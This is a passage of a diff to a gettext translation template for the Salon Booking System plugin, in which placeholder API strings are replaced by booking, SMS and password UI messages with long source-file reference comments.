build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:552, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:682, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:590, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:636, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:551, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:681, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:590, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:636, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:552, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:682, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:590, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:636, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:552, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:682, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:590, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:636\n-msgid \"The thursday.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:148\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:117\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:148\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:117\n+msgid \"Passwords are different\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAssistants_Controller.php:557, src\u002FSLB_API\u002FController\u002FServices_Controller.php:687, src\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:595, src\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:641, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:557, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:687, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:595, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:641, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:557, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:687, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:595, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:641, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:556, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:686, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:595, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:641, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:557, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:687, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:595, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:641, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:557, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:687, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:595, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:641\n-msgid \"The friday.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:179\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:179\n+msgid \"Paste the API key in your SMS settings\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAssistants_Controller.php:562, src\u002FSLB_API\u002FController\u002FServices_Controller.php:692, src\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:600, src\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:646, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:562, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:692, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:600, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:646, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:562, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:692, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:600, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:646, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:561, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:691, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:600, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:646, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:562, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:692, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:600, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:646, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:562, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:692, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:600, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:646\n-msgid \"The saturday.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:322\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:322\n+msgid \"Paste your API key here\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAssistants_Controller.php:571, src\u002FSLB_API\u002FController\u002FAssistants_Controller.php:651, src\u002FSLB_API\u002FController\u002FServices_Controller.php:703, src\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:609, src\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:689, src\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:657, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:571, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:651, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:703, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:609, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:689, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:657, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:571, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:651, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:703, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:609, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:689, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:657, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:570, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:650, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:702, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:609, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:689, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:657, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:571, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:651, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:703, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:609, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:689, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:657, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:571, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:651, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:703, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:609, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:689, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:657\n-msgid \"The from time.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_booking.php:7\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:7\n+msgid \"Pause booking service\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAssistants_Controller.php:587, src\u002FSLB_API\u002FController\u002FAssistants_Controller.php:658, src\u002FSLB_API\u002FController\u002FServices_Controller.php:721, src\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:625, src\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:696, src\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:675, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:587, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:658, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:721, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:625, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:696, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:675, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:587, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:658, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:721, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:625, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:696, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:675, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:586, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:657, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:720, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:625, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:696, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:675, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:587, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:658, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:721, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:625, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:696, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:675, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:587, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:658, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:721, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:625, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:696, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:675\n-msgid \"The to time.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_status.php:11\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_status.php:11\n+msgid \"\"\n+\"Pause booking service \u003Cspan class=\\\"block\\\">If \u003Cstrong>OFF\u003C\u002Fstrong> the \"\n+\"online booking form will be disabled and your users will see a message.\"\n+\"\u003C\u002Fspan>\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAssistants_Controller.php:603, src\u002FSLB_API\u002FController\u002FServices_Controller.php:739, src\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:641, src\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:693, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:603, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:739, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:641, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:693, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:603, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:739, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:641, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:693, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:602, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:738, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:641, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:693, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:603, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:739, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:641, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:693, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:603, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:739, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:641, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:693\n-msgid \"The always.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_customer_manage_buttons.php:16\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_customer_manage_buttons.php:16\n+msgid \"PAY\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAssistants_Controller.php:609, src\u002FSLB_API\u002FController\u002FAssistants_Controller.php:637, src\u002FSLB_API\u002FController\u002FServices_Controller.php:745, src\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:647, src\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:675, src\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:699, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:609, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:637, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:745, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:647, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:675, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:699, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:609, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:637, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:745, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:647, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:675, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:699, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:608, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:636, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:744, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:647, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:675, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:699, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:609, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:637, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:745, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:647, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:675, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:699, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:609, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:637, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:745, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:647, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:675, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:699\n-msgid \"The from date.\"\n+#: 